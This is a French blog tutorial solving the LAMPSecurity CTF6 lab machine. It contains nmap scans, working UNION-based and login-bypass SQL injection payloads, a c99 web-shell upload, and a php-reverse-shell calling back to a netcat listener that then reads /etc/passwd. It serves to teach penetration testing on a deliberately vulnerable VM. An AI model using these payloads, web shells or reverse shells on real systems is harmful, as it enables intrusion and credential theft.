1 sur 14 24/05/2012 00:05 Partager Signaler un abus Blog suivant» Créer un blog Connexion VENDREDI 4 JUIN 2010 tutoriel injection SQL - LampSecurity CTF6 Le site LAMPSecurity.org propose des défis de type capture the flag (CTF). Ce tutoriel permet de résoudre une partie du CTF 6. Ce CTF est présenté sous forme d'une machine virtuelle à télécharger, qui simule un serveur vulnérable. Outils - VMWare, - nmap - dirbuster - http://www.owasp.org/index.php/category:owasp_dirbuster_project - netcat ( version Windows - http://joncraton.org/files/nc111nt.zip ) - php-reverse-shell - http://pentestmonkey.net/tools/php-reverse-shell/ - c99 http://www.milw0rm.biz/c99.txt - module firefox Firebug - https://addons.mozilla.org/fr/firefox/addon/1843/ - module firefox livehttpheaders - https://addons.mozilla.org/fr/firefox/addon/3829/ Préliminaires MISE EN PLACE RECHERCHER DANS CE BLOG LIBELLÉS Rechercher fr linux english web ctf Shellcodes crypto win pentest openssl TWITTER RT @lemondefr : "La difficile ascension vers la résolution d'un problème mathématique" http://t.co/zjaivirg 2 days ago Google data center physical security http://t.co/qgw7yhtg 3 days ago USB avr fun http://t.co/rkql2ji4 5 days ago Follow me on Twitter Téléchargeons la machine virtuelle (VM) depuis le site http://sourceforge.net/projects /lampsecurity/. Pour l'utilisation de VMWare, nous pouvons nous référer à l'article Basics 1 - Mise en place du réseau tutoriel VMWare [1]. Modifions la machine dans VMWare pour qu'elle utilise le réseau NAT (au lieu de Bridge). Pour connaitre le sous-réseau NAT de VMWare, aller dans Edit -> Virtual Nework Editor Ici, nous utilisons le sous-réseau 192.168.0.0/24. Lancons la machine dans VMWare. Une fois le serveur lancé, une invitation pour s'identifier apparait. Le serveur est actif. Quelle est son IP et quels services propose-t-il? TROUVER L'ADRESSE IP DU SERVEUR Lancons NMAP en mode ping sur le sous-réseau # nmap -sp -PE -PA21,23,80,3389 192.168.0.0/24 Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-06-01 09:45 Paris, Madrid (heure d été) Nmap scan report for 192.168.0.1 Host is up. Nmap scan report for 192.168.0.52
2 sur 14 24/05/2012 00:05 Host is up (0.0010s latency). MAC Address: 00:0C:29:EC:C4:25 (VMware) Nmap scan report for 192.168.0.252 Host is up (0.00s latency). MAC Address: 00:50:56:E5:4E:88 (VMware) Nmap done: 256 IP addresses (3 hosts up) scanned in 39.27 seconds Nous obtenons un serveur en 192.168.0.52 SERVICES DU SERVEUR? Lancons un deep scan sur l'ip 192.168.0.52 # nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.0.52 Starting Nmap 5.21 ( http://nmap.org ) at 2010-05-24 11:42 Paris, Madrid (heure d été) NSE: Loaded 36 scripts for scanning. Initiating ARP Ping Scan at 11:42 Scanning 192.168.0.52 [1 port] Completed ARP Ping Scan at 11:42, 2.74s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 11:42 Completed Parallel DNS resolution of 1 host. at 11:42, 11.00s elapsed Initiating SYN Stealth Scan at 11:42 Scanning 192.168.0.52 [1000 ports] Discovered open port 22/tcp on 192.168.0.52 Discovered open port 995/tcp on 192.168.0.52 Discovered open port 111/tcp on 192.168.0.52 Discovered open port 110/tcp on 192.168.0.52 Discovered open port 143/tcp on 192.168.0.52 Discovered open port 3306/tcp on 192.168.0.52 Discovered open port 443/tcp on 192.168.0.52 Discovered open port 80/tcp on 192.168.0.52 Discovered open port 993/tcp on 192.168.0.52 Completed SYN Stealth Scan at 11:43, 1.31s elapsed (1000 total ports) Initiating Service scan at 11:43 Scanning 9 services on 192.168.0.52 Completed Service scan at 11:43, 19.02s elapsed (9 services on 1 host) Initiating RPCGrind Scan against 192.168.0.52 at 11:43 Completed RPCGrind Scan against 192.168.0.52 at 11:43, 0.01s elapsed (1 port) Initiating OS detection (try #1) against 192.168.0.52 NSE: Script scanning 192.168.0.52. NSE: Starting runlevel 1 (of 1) scan. Initiating NSE at 11:43 Completed NSE at 11:43, 1.23s elapsed NSE: Script Scanning completed. Nmap scan report for 192.168.0.52 Host is up (0.0016s latency). Not shown: 991 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) ssh-hostkey: 1024 14:a9:f4:11:dc:2c:4e:0d:45:6c:99:11:22:29:03:bc (DSA) _2048 45:58:6c:98:3e:97:2a:da:e2:b8:6a:84:d4:6a:be:26 (RSA) 80/tcp open http Apache httpd 2.2.3 ((CentOS)) _html-title: CTF 6 - Widgets Inc. 110/tcp open pop3 Dovecot pop3d _pop3-capabilities: USER CAPA UIDL TOP OK(K) RESP-CODES PIPELINING STLS SASL(PLAIN) 111/tcp open rpcbind 2 (rpc #100000) rpcinfo: 100000 2 111/udp rpcbind 100024 1 610/udp status 100000 2 111/tcp rpcbind
3 sur 14 24/05/2012 00:05 _100024 1 613/tcp status 143/tcp open imap Dovecot imapd _imap-capabilities: LOGIN-REFERRALS AUTH=PLAIN UNSELECT THREAD=REFERENCES STARTTLS IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS)) _html-title: CTF 6 - Widgets Inc. 993/tcp open ssl/imap Dovecot imapd _sslv2: server still supports SSLv2 _imap-capabilities: LOGIN-REFERRALS UNSELECT THREAD=REFERENCES AUTH=PLAIN IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND 995/tcp open ssl/pop3 Dovecot pop3d _sslv2: server still supports SSLv2 _pop3-capabilities: OK(K) CAPA RESP-CODES UIDL PIPELINING USER TOP SASL(PLAIN) 3306/tcp open mysql MySQL 5.0.45 mysql-info: Protocol: 10 Version: 5.0.45 Thread ID: 5 Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection Status: Autocommit _Salt: {LHc=CxV#I'&'0[Z3/0B MAC Address: 00:0C:29:EC:C4:25 (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9-2.6.28 Uptime guess: 0.006 days (since Mon May 24 11:34:08 2010) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=203 (Good luck!) IP ID Sequence Generation: All zeros HOP RTT ADDRESS 1 1.58 ms 192.168.0.52 Read data files from: C:\Program Files\Nmap OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 45.65 seconds Raw packets sent: 1027 (45.948KB) Rcvd: 1021 (41.608KB) Nous obtenons les services suivants: Web sur un serveur Apache: - http - https Administration: - ssh - mysql courrier: - imap - pop - imaps - pops La VM a un noyau Linux 2.6.X. LE SERVEUR WEB Lançons notre navigateur
4 sur 14 24/05/2012 00:05 POINTS D'ENTRÉE Recherchons quelques points d'entrée en naviguant sur le site. Nous obtenons les pages: - Log In (pseudo/mot de passe), - http://192.168.0.52/?id=1 (ou 2,3,4) 1ère injection SQL (/?id=1) Une injection SQL consiste à effectuer une requête SQL dans une requête http pour injecter des résultats dans la page Web générée. Par exemple, si la page Web retournera une entrée d'une table de la base dans un champ qui devrait normalement contenir le texte d'un article. Y A-T-IL UNE INJECTION SQL? Voici la requête normale: http://192.168.0.52/?id=1 Ajoutons à la requête le caractère ' (touche 4). http://192.168.0.52/?id=1'
5 sur 14 24/05/2012 00:05 Nous remarquons que l'affichage du site change, sans proposer une erreur 404 (page introuvable). Le serveur n'échappe donc pas les caractères non alphanumériques. COMBIEN Y A-T-IL DE CHAMPS SQL DANS LA PAGE? Envoyons successivement les requêtes suivantes: http://192.168.0.52?id=1 UNION SELECT 1 http://192.168.0.52/?id=1 UNION SELECT 1,2 http://192.168.0.52/?id=1 UNION SELECT 1,2,3 http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4 http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5 http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6 http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,7 A la 7ème requête, l'affichage change et nous obtenons: Cela signifie que 7 champs sont récupérés dans la base SQL et affichés sur la page. La requête UNION ne renvoit un résultat que si le nombre de champs à gauche et à droite est le même (ici 7). Remarque, les données 1, 4 et 8 n'apparaissent pas sur l'affichage, mais sont bien présentes dans le code source de la page. Par exemple, 4 correspond à l'adresse src de l'image (...) Posted by: 7 3 (...) image CONNAÎTRE LA VERSION ET LE USER DE LA BASE SQL Nous utilisons les deux fonctions spéciales user() et version()
6 sur 14 24/05/2012 00:05 http://192.168.0.52/?id=1 UNION SELECT 1,user(),version(),4,5,6,7 LISTER LES TABLES DE LA BASE SQL Pour lister les tables de la base SQL, nous utilisons la table spéciale information_schema [3]. De plus, la fonction database() renvoit le nom de la base de donnée en cours. http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA = database() Nous obtenons 3 tables: - user - log - event LISTER LES COLONNES DE LA TABLE DES UTILISATEURS A présent, intéressons nous à la table "user". Nous utilisons la même méthode pour obtenir la liste des colonnes de cette table. http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 'user' Nous obtenons: - user_id - user_username - user_password LISTER LES ENTRÉES USERNAME ET PASSWORD DE LA TABLE DES UTILISATEURS A présent, nous connaissons les titres des colonnes de la table user, affichons les couples user_username/user_password. http://192.168.0.52/?id=1 UNION SELECT 1,2,user_username,4,5,6,user_password FROM user Nous obtenons: username: admin password: 25e4ee4e9229397b6b17776bfceaf8e7
7 sur 14 24/05/2012 00:05 OBTENIR LE MOT DE PASSE (FAIBLE) GRACE À SON HASH MD5 PUIS SE LOGUER COMME ADMIN copions-collons ce hash dans Google, nous obtenons le pass en clair: adminpass retournons sur le site et identifions nous: Nous voici admin sur le site Web. recherche dictionnaire des répertoires RECHERCHE La méthode de SQL injection a permis de retrouver les éléments de connexion admin du site Web. Une autre méthode plus rapide permet également de les trouver: le parcours de répertoires du site. Utilisons dirbuster de Owasp Nous voyons un répertoire sql, qui contient un fichier sql.db dans lequel nous trouvons le script d'installation de la base, avec le mot de passe en clair!
8 sur 14 24/05/2012 00:05 AFFICHER LE CODE PHP DE FICHIERS TEMPORAIRES Nous naviguons dans le site et ajoutons à chaque page trouvée ~ pour vérifier si un fichier temporaire n'a pas été effacé. Nous en trouvons un pour http://192.168.48.136 /actions/add_event.php~ 2ème injection SQL (login) Nous allons exploiter une éventuelle injection SQL sur le formulaire login/password. REPÉRER LA PROTECTION LOCALE JAVASCRIPT AVEC FIREBUG Le formulaire username/password est protégé (si on peut dire!) par un javascript qui échappe les caractères entrés. Avec firebug, activons l'option "Cliquer sur un élément à inspecter dans la page" puis cliquons sur le bouton "Log In" pour voir apparaitre la partie du code source qui concerne notre formulaire. Le script javascript est "checkform()"
9 sur 14 24/05/2012 00:05 BYPASSER LA PROTECTION LOCALE, REPÉRER L'INJECTION Pour bypasser la protection locale javascript, nous utilisons le module Firefox Live Http Headers: Lancons Live Http Headers: Cliquons sur le bouton "Log In" du formulaire, puis cliquons dans la requête http capturée, puis sur "rejouer": Essayons de contourner le champ "password" dans la requête: username=admin' AND a=a /*&password=
10 sur 14 24/05/2012 00:05 Et nous obtenons: Query error with select user_id from user where user_username = 'admin' AND a=a /*': Unknown column 'a' in 'where clause' EXPLOITATION Nous voyons que le code SQL est interprété. Mais notre première tentative échoue. Comment exploiter cette faille? Supposons que le serveur SQL utilise une fonction (MD5() par exemple) pour traiter les données entrées. Nous ajoutons donc une parenthèse dans notre requête: username=' OR 1=1 #&password=') OR 1=1 # bingo! Allons à présent jeter un coup d'oeil au code source. C99: LISTER LE CONTENU DU SERVEUR A présent que nous sommes identifiés comme Admin sur le site Web, uploadons c99 grace au formulaire add an event: Nous utilisons le fichier c99.txt (cf http://www.milw0rm.biz/c99.txt). Nous le renommons en c99.php puis nous l'uploadons sur le serveur. Pour cela, nous créons un nouvel "event" et utilisons le lien "télécharger une image" pour uploader le fichier. Puis nous nous rendons sur
11 sur 14 24/05/2012 00:05 http://192.168.48.136/files/c99.php INJECTION LOGIN/PASSWORD DANS LE CODE SOURCE PHP Voyons le code source de index.php. Il nous renvoie au répertoire "actions" Allons voir "actions/login.php". L'injection se trouve à cette ligne: $sql = "select * from user where user_id = ". $uname->user_id. " AND user_password = md5('". $_POST['password']. "')"; Ici, le code appelle la fonction md5() de SQL. Notre injection transforme le code ainsi: $sql = "select * from user where user_id = ". $uname->user_id AND user_password = md5('') AND 1=1"; php-reverse-shell: obtenir un shell Nous allons uploader un fichier php qui se connectera en retour vers notre machine. SUR NOTRE MACHINE, ÉCOUTE SUR LE PORT 1234 Utilisons netcat pour Windows. Voyons les options de netcat: démarrer -> exécuter -> CMD C:\netcat>nc Cmd line: -help [v1.11 NT www.vulnwatch.org/netcat/] connect to somewhere: nc [-options] hostname port[s] [ports]... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, background mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12,...
12 sur 14 24/05/2012 00:05 -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-i/o mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] Ouvrons le port TCP 1234 C:\netcat>nc Cmd line: -v -n -l -p 1234 listening on [any] 1234... UPLOAD PHP-REVERSE-SHELL Editons le fichier php-reverse-shell.php et modifions le pour qu'il se connecte vers notre IP $ip = '192.168.0.1'; // CHANGE THIS $port = 1234; // CHANGE THIS Uploadons le sur le serveur, en utilisant le formulaire "Add Event" de l'interface Admin OBTENIR UN SHELL VIA NETCAT Accédons au fichier en tapant son adresse: http://192.168.0.52/files/php-reverseshell.php
13 sur 14 24/05/2012 00:05 Nous obtenons bien le shell: RÉCUPÉRER /ETC/PASSWD Depuis le shell netcat, en ne gardant que ceux qui peuvent ouvrir un shell: sh-3.2$ cat /etc/passwd grep /bin/bash root:x:0:0:root:/root:/bin/bash mysql:x:27:27:mysql Server:/var/lib/mysql:/bin/bash john:x:500:500::/home/john:/bin/bash linda:x:501:501::/home/linda:/bin/bash fred:x:502:502::/home/fred:/bin/bash molly:x:503:503::/home/molly:/bin/bash toby:x:504:504::/home/toby:/bin/bash sh-3.2$ Nous obtenons donc la liste des utilisateurs du serveur. élevation de privilège Pour l'élévation de privilège, nous vous renvoyons à l'article de mysterie [4] Conclusion Dans cet article, nous avons pu mettre en œuvre plusieurs méthodes d'exploitation: - injection SQL, - recherche de répertoires, - affichage du contenu du site avec c99.php, - reverse shell php. références 1 - Infond - Basics 1 Mise en place du réseau tutoriel VMWare - http://infond.blogspot.com/2010/03/basics-1-mise-en-place-du-labo.html 2 - Mohammed Cherifi - Tutoriel SQL injection - http://www.mcherifi.org/hacking/tutorielsql-injection-les-classiques.html 3 - MySQL doc - table information_schema - http://dev.mysql.com/doc/refman/5.0/fr /information-schema.html 4 - Mysterie - LampSecurity CTF6 - http://mysterie.fr/blog/index.php?post/2009/07 /28/LampSecurity-CTF-6 Libellés : ctf, fr, pentest, sql, web 2 commentaires: Recommander ce contenu sur Google Anonyme 6 juin 2010 00:23 Petite question... Quel est le compte pour se logguer sous la machine virtuelle? J'ai utilisé lampsec, mais ça marche pas et pas de doc à ce sujet.
14 sur 14 24/05/2012 00:05 Merci Répondre t0ka7a 11 juin 2010 12:23 Pour se logger, il faut auparavant obtenir des credentials... Il va te falloir contourner cette authentification ;) Répondre Saisissez votre commentaire Commentaire : Publier Sélectionner le profil... Aperçu Message plus récent Accueil Message plus ancien Inscription à : Publier les commentaires (Atom) Modèle Picture Window. Fourni par Blogger.